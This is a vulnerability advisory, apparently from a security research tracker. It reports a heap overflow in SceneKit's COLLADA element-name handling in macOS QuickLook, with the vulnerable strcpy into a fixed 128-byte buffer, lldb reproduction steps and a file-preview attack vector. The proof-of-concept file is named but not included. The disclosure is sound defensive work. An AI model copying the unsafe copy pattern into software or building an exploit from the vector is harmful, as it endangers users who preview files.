Description: Apple qlmanage - SceneKit::daeElement::setElementName Heap Overflow

Source: https://code.google.com/p/google-security-research/issues/detail?id=467

There is a heap overflow in daeElement::setElementName(). The 
vulnerable method uses a fixed size (128 bytes) heap-allocated buffer to 
copy the name of an arbitrary element. By setting the name of the element
to something larger the buffer is overflown.

The vulnerable code does something like this:
if (element_name) {
  if (!this->name) {
    this->name = new char[128];
  }
  strcpy(this->name, element_name);
}

The element_name is supplied by the user and can be more than 128
characters long.

Steps to reproduce (Note: you need to enable libgmalloc):
a) $ lldb
b) (lldb) target create /usr/bin/qlmanage
   Current executable set to '/usr/bin/qlmanage' (x86_64).
c) (lldb) env DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib
d) (lldb) process launch -- -p setElementNameOOB.dae

This bug has been tested on:
$ sw_vers 
ProductName:  Mac OS X
ProductVersion: 10.10.3
BuildVersion: 14D136

$ qlmanage --version
QuickLook framework: v5.0 (675.42)

Attached are two files:
1) setElementNameOOB.dae - the POC dae file.
2) setElementNameOOB_dae.crashlog.txt - the CrashWrangler log.

Attack vector:
This bug can be triggered by any application that uses the QuickLook framework to generate a preview/thumbnail of DAE (COLLADA) files. For example, loading the supplied POC in Preview or selecting the file in Finder and hitting <space> will trigger the bug.
